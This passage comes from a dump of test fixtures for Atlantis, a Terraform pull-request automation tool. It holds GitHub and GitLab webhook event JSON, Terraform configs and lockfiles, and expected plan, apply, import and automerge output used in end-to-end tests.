"https://api.github.com/repos/runatlantis/atlantis-tests/milestones{/number}", "notifications_url": "https://api.github.com/repos/runatlantis/atlantis-tests/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/runatlantis/atlantis-tests/labels{/name}", "releases_url": "https://api.github.com/repos/runatlantis/atlantis-tests/releases{/id}", "deployments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/deployments", "created_at": "2018-06-07T12:28:23Z", "updated_at": "2018-06-07T12:28:27Z", "pushed_at": "2018-06-11T16:22:09Z", "git_url": "git://github.com/runatlantis/atlantis-tests.git", "ssh_url": "git@github.com:runatlantis/atlantis-tests.git", "clone_url": "https://github.com/runatlantis/atlantis-tests.git", "svn_url": "https://github.com/runatlantis/atlantis-tests", "homepage": null, "size": 7, "stargazers_count": 0, "watchers_count": 0, "language": "HCL", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "forks_count": 0, "mirror_url": null, "archived": false, "open_issues_count": 2, "license": { "key": "other", "name": "Other", "spdx_id": null, "url": null, "node_id": "MDc6TGljZW5zZTA=" }, "forks": 0, "open_issues": 2, "watchers": 0, "default_branch": "main" } }, "base": { "label": "runatlantis:main", "ref": "main", "sha": "f59a822e83b3cd193142c7624ea635a5d7894388", "user": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "repo": { "id": 136474117, "node_id": "MDEwOlJlcG9zaXRvcnkxMzY0NzQxMTc=", "name": "atlantis-tests", "full_name": "runatlantis/atlantis-tests", "owner": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/runatlantis/atlantis-tests", "description": "A set of terraform projects that atlantis e2e tests run on.", "fork": true, "url": "https://api.github.com/repos/runatlantis/atlantis-tests", "forks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/forks", "keys_url": "https://api.github.com/repos/runatlantis/atlantis-tests/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/runatlantis/atlantis-tests/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/runatlantis/atlantis-tests/teams", "hooks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/hooks", "issue_events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/events{/number}", "events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/events", "assignees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/assignees{/user}", "branches_url": "https://api.github.com/repos/runatlantis/atlantis-tests/branches{/branch}", "tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/tags", "blobs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/refs{/sha}", "trees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/{sha}", "languages_url": "https://api.github.com/repos/runatlantis/atlantis-tests/languages", "stargazers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/stargazers", "contributors_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contributors", "subscribers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscribers", "subscription_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscription", "commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/commits{/sha}", "git_commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/commits{/sha}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/comments{/number}", "issue_comment_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/comments{/number}", "contents_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contents/{+path}", "compare_url": "https://api.github.com/repos/runatlantis/atlantis-tests/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/runatlantis/atlantis-tests/merges", "archive_url": "https://api.github.com/repos/runatlantis/atlantis-tests/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/runatlantis/atlantis-tests/downloads", "issues_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues{/number}", "pulls_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls{/number}", "milestones_url": "https://api.github.com/repos/runatlantis/atlantis-tests/milestones{/number}", "notifications_url": "https://api.github.com/repos/runatlantis/atlantis-tests/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/runatlantis/atlantis-tests/labels{/name}", "releases_url": "https://api.github.com/repos/runatlantis/atlantis-tests/releases{/id}", "deployments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/deployments", "created_at": "2018-06-07T12:28:23Z", "updated_at": "2018-06-07T12:28:27Z", "pushed_at": "2018-06-11T16:22:09Z", "git_url": "git://github.com/runatlantis/atlantis-tests.git", "ssh_url": "git@github.com:runatlantis/atlantis-tests.git", "clone_url": "https://github.com/runatlantis/atlantis-tests.git", "svn_url": "https://github.com/runatlantis/atlantis-tests", "homepage": null, "size": 7, "stargazers_count": 0, "watchers_count": 0, "language": "HCL", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "forks_count": 0, "mirror_url": null, "archived": false, "open_issues_count": 2, "license": { "key": "other", "name": "Other", "spdx_id": null, "url": null, "node_id": "MDc6TGljZW5zZTA=" }, "forks": 0, "open_issues": 2, "watchers": 0, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2" }, "html": { "href": "https://github.com/runatlantis/atlantis-tests/pull/2" }, "issue": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/2" }, "comments": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/2/comments" }, "review_comments": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2/comments" }, "review_comment": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/2/commits" }, "statuses": { "href": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/c31fd9ea6f557ad2ea659944c3844a059b83bc5d" } }, "author_association": "OWNER", "merged": false, "mergeable": null, "rebaseable": null, "mergeable_state": "unknown", "merged_by": null, "comments": 0, "review_comments": 0, "maintainer_can_modify": false, "commits": 5, "additions": 181, "deletions": 8, "changed_files": 23 }, "repository": { "id": 136474117, "node_id": "MDEwOlJlcG9zaXRvcnkxMzY0NzQxMTc=", "name": "atlantis-tests", "full_name": "runatlantis/atlantis-tests", "owner": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/runatlantis/atlantis-tests", "description": "A set of terraform projects that atlantis e2e tests run on.", "fork": true, "url": "https://api.github.com/repos/runatlantis/atlantis-tests", "forks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/forks", "keys_url": "https://api.github.com/repos/runatlantis/atlantis-tests/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/runatlantis/atlantis-tests/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/runatlantis/atlantis-tests/teams", "hooks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/hooks", "issue_events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/events{/number}", "events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/events", "assignees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/assignees{/user}", "branches_url": "https://api.github.com/repos/runatlantis/atlantis-tests/branches{/branch}", "tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/tags", "blobs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/refs{/sha}", "trees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/{sha}", "languages_url": "https://api.github.com/repos/runatlantis/atlantis-tests/languages", "stargazers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/stargazers", "contributors_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contributors", "subscribers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscribers", "subscription_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscription", "commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/commits{/sha}", "git_commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/commits{/sha}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/comments{/number}", "issue_comment_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/comments{/number}", "contents_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contents/{+path}", "compare_url": "https://api.github.com/repos/runatlantis/atlantis-tests/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/runatlantis/atlantis-tests/merges", "archive_url": "https://api.github.com/repos/runatlantis/atlantis-tests/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/runatlantis/atlantis-tests/downloads", "issues_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues{/number}", "pulls_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls{/number}", "milestones_url": "https://api.github.com/repos/runatlantis/atlantis-tests/milestones{/number}", "notifications_url": "https://api.github.com/repos/runatlantis/atlantis-tests/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/runatlantis/atlantis-tests/labels{/name}", "releases_url": "https://api.github.com/repos/runatlantis/atlantis-tests/releases{/id}", "deployments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/deployments", "created_at": "2018-06-07T12:28:23Z", "updated_at": "2018-06-07T12:28:27Z", "pushed_at": "2018-06-11T16:22:09Z", "git_url": "git://github.com/runatlantis/atlantis-tests.git", "ssh_url": "git@github.com:runatlantis/atlantis-tests.git", "clone_url": "https://github.com/runatlantis/atlantis-tests.git", "svn_url": "https://github.com/runatlantis/atlantis-tests", "homepage": null, "size": 7, "stargazers_count": 0, "watchers_count": 0, "language": "HCL", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "forks_count": 0, "mirror_url": null, "archived": false, "open_issues_count": 2, "license": { "key": "other", "name": "Other", "spdx_id": null, "url": null, "node_id": "MDc6TGljZW5zZTA=" }, "forks": 0, "open_issues": 2, "watchers": 0, "default_branch": "main" }, "sender": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false } } ================================================ FILE: server/controllers/events/testdata/gitlabMergeCommentEvent_notAllowlisted.json ================================================ { "object_kind": "note", "user": { "name": "Administrator", "username": "root", "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" }, "project_id": 5, "project":{ "id": 5, "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlabhq/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "git_http_url":"https://example.com/gitlabhq/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "http_url":"https://example.com/gitlabhq/gitlab-test.git" }, "repository":{ "name": "Gitlab Test", "url": "http://localhost/gitlab-org/gitlab-test.git", "description": "Aut reprehenderit ut est.", "homepage": "http://example.com/gitlab-org/gitlab-test" }, "object_attributes": { "id": 1244, "note": "atlantis plan", "noteable_type": "MergeRequest", "author_id": 1, "created_at": "2015-05-17", "updated_at": "2015-05-17", "project_id": 5, "attachment": null, "line_code": null, "commit_id": "", "noteable_id": 7, "system": false, "st_diff": null, "url": "http://example.com/gitlab-org/gitlab-test/merge_requests/1#note_1244" }, "merge_request": { "id": 7, "target_branch": "markdown", "source_branch": "main", "source_project_id": 5, "author_id": 8, "assignee_id": 28, "title": "Tempora et eos debitis quae laborum et.", "created_at": "2015-03-01 20:12:53 UTC", "updated_at": "2015-03-21 18:27:27 UTC", "milestone_id": 11, "state": "opened", "merge_status": "cannot_be_merged", "target_project_id": 5, "iid": 1, "description": "Et voluptas corrupti assumenda temporibus. Architecto cum animi eveniet amet asperiores. Vitae numquam voluptate est natus sit et ad id.", "position": 0, "source":{ "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlab-org/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlab-org/gitlab-test.git", "git_http_url":"https://example.com/gitlab-org/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlab-org/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlab-org/gitlab-test", "url":"https://example.com/gitlab-org/gitlab-test.git", "ssh_url":"git@example.com:gitlab-org/gitlab-test.git", "http_url":"https://example.com/gitlab-org/gitlab-test.git", "git_http_url":"https://example.com/gitlab-org/gitlab-test.git" }, "target": { "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlabhq/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "git_http_url":"https://example.com/gitlabhq/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "http_url":"https://example.com/gitlabhq/gitlab-test.git" }, "last_commit": { "id": "562e173be03b8ff2efb05345d12df18815438a4b", "message": "Merge branch 'another-branch' into 'main'\n\nCheck in this test\n", "timestamp": "2002-10-02T10:00:00-05:00", "url": "http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b", "author": { "name": "John Smith", "email": "john@example.com" } }, "work_in_progress": false, "assignee": { "name": "User1", "username": "user1", "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" } } } ================================================ FILE: server/controllers/events/testdata/gitlabMergeCommentEvent_shouldIgnore.json ================================================ { "object_kind": "note", "user": { "name": "Administrator", "username": "root", "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" }, "project_id": 5, "project":{ "id": 5, "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlabhq/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "git_http_url":"https://example.com/gitlabhq/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "http_url":"https://example.com/gitlabhq/gitlab-test.git" }, "repository":{ "name": "Gitlab Test", "url": "http://localhost/gitlab-org/gitlab-test.git", "description": "Aut reprehenderit ut est.", "homepage": "http://example.com/gitlab-org/gitlab-test" }, "object_attributes": { "id": 1244, "note": "This MR needs work.", "noteable_type": "MergeRequest", "author_id": 1, "created_at": "2015-05-17", "updated_at": "2015-05-17", "project_id": 5, "attachment": null, "line_code": null, "commit_id": "", "noteable_id": 7, "system": false, "st_diff": null, "url": "http://example.com/gitlab-org/gitlab-test/merge_requests/1#note_1244" }, "merge_request": { "id": 7, "target_branch": "markdown", "source_branch": "main", "source_project_id": 5, "author_id": 8, "assignee_id": 28, "title": "Tempora et eos debitis quae laborum et.", "created_at": "2015-03-01 20:12:53 UTC", "updated_at": "2015-03-21 18:27:27 UTC", "milestone_id": 11, "state": "opened", "merge_status": "cannot_be_merged", "target_project_id": 5, "iid": 1, "description": "Et voluptas corrupti assumenda temporibus. Architecto cum animi eveniet amet asperiores. Vitae numquam voluptate est natus sit et ad id.", "position": 0, "source":{ "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlab-org/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlab-org/gitlab-test.git", "git_http_url":"https://example.com/gitlab-org/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlab-org/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlab-org/gitlab-test", "url":"https://example.com/gitlab-org/gitlab-test.git", "ssh_url":"git@example.com:gitlab-org/gitlab-test.git", "http_url":"https://example.com/gitlab-org/gitlab-test.git", "git_http_url":"https://example.com/gitlab-org/gitlab-test.git" }, "target": { "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlabhq/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "git_http_url":"https://example.com/gitlabhq/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "http_url":"https://example.com/gitlabhq/gitlab-test.git" }, "last_commit": { "id": "562e173be03b8ff2efb05345d12df18815438a4b", "message": "Merge branch 'another-branch' into 'main'\n\nCheck in this test\n", "timestamp": "2002-10-02T10:00:00-05:00", "url": "http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b", "author": { "name": "John Smith", "email": "john@example.com" } }, "work_in_progress": false, "assignee": { "name": "User1", "username": "user1", "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" } } } ================================================ FILE: server/controllers/events/testdata/null_provider_lockfile_old_version ================================================ # This file is maintained automatically by "terraform init". # Manual edits may be lost in future updates. provider "registry.terraform.io/hashicorp/null" { version = "3.2.4" constraints = "3.2.4" hashes = [ "h1:127ts0CG8hFk1bHIfrBsKxcnt9bAYQCq3udWM+AACH8=", "h1:L5V05xwp/Gto1leRryuesxjMfgZwjb7oool4WS1UEFQ=", "h1:hkf5w5B6q8e2A42ND2CjAvgvSN3puAosDmOJb3zCVQM=", "h1:wTNrZnwQdOOT/TW9pa+7GgJeFK2OvTvDmx78VmUmZXM=", "zh:59f6b52ab4ff35739647f9509ee6d93d7c032985d9f8c6237d1f8a59471bbbe2", "zh:78d5eefdd9e494defcb3c68d282b8f96630502cac21d1ea161f53cfe9bb483b3", "zh:795c897119ff082133150121d39ff26cb5f89a730a2c8c26f3a9c1abf81a9c43", "zh:7b9c7b16f118fbc2b05a983817b8ce2f86df125857966ad356353baf4bff5c0a", "zh:85e33ab43e0e1726e5f97a874b8e24820b6565ff8076523cc2922ba671492991", "zh:9d32ac3619cfc93eb3c4f423492a8e0f79db05fec58e449dee9b2d5873d5f69f", "zh:9e15c3c9dd8e0d1e3731841d44c34571b6c97f5b95e8296a45318b94e5287a6e", "zh:b4c2ab35d1b7696c30b64bf2c0f3a62329107bd1a9121ce70683dec58af19615", "zh:c43723e8cc65bcdf5e0c92581dcbbdcbdcf18b8d2037406a5f2033b1e22de442", "zh:ceb5495d9c31bfb299d246ab333f08c7fb0d67a4f82681fbf47f2a21c3e11ab5", "zh:e171026b3659305c558d9804062762d168f50ba02b88b231d20ec99578a6233f", "zh:ed0fe2acdb61330b01841fa790be00ec6beaac91d41f311fb8254f74eb6a711f", ] } ================================================ FILE: server/controllers/events/testdata/test-repos/automerge/atlantis.yaml ================================================ version: 3 automerge: true projects: - dir: dir1 - dir: dir2 ================================================ FILE: server/controllers/events/testdata/test-repos/automerge/dir1/main.tf ================================================ resource "null_resource" "automerge" { count = 1 } ================================================ FILE: server/controllers/events/testdata/test-repos/automerge/dir1/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/automerge/dir2/main.tf ================================================ resource "null_resource" "automerge" { count = 1 } ================================================ FILE: server/controllers/events/testdata/test-repos/automerge/dir2/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/automerge/exp-output-apply-dir1.txt ================================================ Ran Apply for dir: `dir1` workspace: `default` ```diff null_resource.automerge[0]: Creating... null_resource.automerge[0]: Creation complete after *s [id=*******************] Apply complete! Resources: 1 added, 0 changed, 0 destroyed. ``` ================================================ FILE: server/controllers/events/testdata/test-repos/automerge/exp-output-apply-dir2.txt ================================================ Ran Apply for dir: `dir2` workspace: `default` ```diff null_resource.automerge[0]: Creating... null_resource.automerge[0]: Creation complete after *s [id=*******************] Apply complete! Resources: 1 added, 0 changed, 0 destroyed. ``` ================================================ FILE: server/controllers/events/testdata/test-repos/automerge/exp-output-automerge.txt ================================================ Automatically merging because all plans have been successfully applied. ================================================ FILE: server/controllers/events/testdata/test-repos/automerge/exp-output-autoplan.txt ================================================ Ran Plan for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 1. dir: `dir1` workspace: `default` ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.automerge[0] will be created + resource "null_resource" "automerge" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir1 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir1 ``` --- ### 2. dir: `dir2` workspace: `default` ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.automerge[0] will be created + resource "null_resource" "automerge" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir2 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir2 ``` --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/automerge/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `dir1` workspace: `default` - dir: `dir2` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/import-multiple-project/atlantis.yaml ================================================ version: 3 projects: - dir: dir1 - dir: dir2 ================================================ FILE: server/controllers/events/testdata/test-repos/import-multiple-project/dir1/main.tf ================================================ resource "random_id" "dummy1" { byte_length = 1 } ================================================ FILE: server/controllers/events/testdata/test-repos/import-multiple-project/dir1/versions.tf ================================================ provider "random" {} terraform { required_providers { random = { source = "hashicorp/random" version = "3.8.1" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/import-multiple-project/dir2/main.tf ================================================ resource "random_id" "dummy2" { byte_length = 1 } ================================================ FILE: server/controllers/events/testdata/test-repos/import-multiple-project/dir2/versions.tf ================================================ provider "random" {} terraform { required_providers { random = { source = "hashicorp/random" version = "3.8.1" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-autoplan.txt ================================================ Ran Plan for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 1. dir: `dir1` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.dummy1 will be created + resource "random_id" "dummy1" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir1 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir1 ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: `dir2` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # random_id.dummy2 will be created + resource "random_id" "dummy2" { + b64_std = (known after apply) + b64_url = (known after apply) + byte_length = 1 + dec = (known after apply) + hex = (known after apply) + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir2 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir2 ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-import-dummy1.txt ================================================ Ran Import for dir: `dir1` workspace: `default` ```diff random_id.dummy1: Importing from ID "AA"... random_id.dummy1: Import prepared! Prepared random_id for import random_id.dummy1: Refreshing state... [id=AA] Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir1 ``` ================================================ FILE: server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-import-multiple-projects.txt ================================================ **Import Failed**: import cannot run on multiple projects. please specify one project. ================================================ FILE: server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `dir1` workspace: `default` - dir: `dir2` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-plan-again.txt ================================================ Ran Plan for 2 projects: 1. dir: `dir1` workspace: `default` 1. dir: `dir2` workspace: `default` --- ### 1. dir: `dir1` workspace: `default` ```diff random_id.dummy1: Refreshing state... [id=AA] No changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed. ``` * :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d dir1 ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d dir1 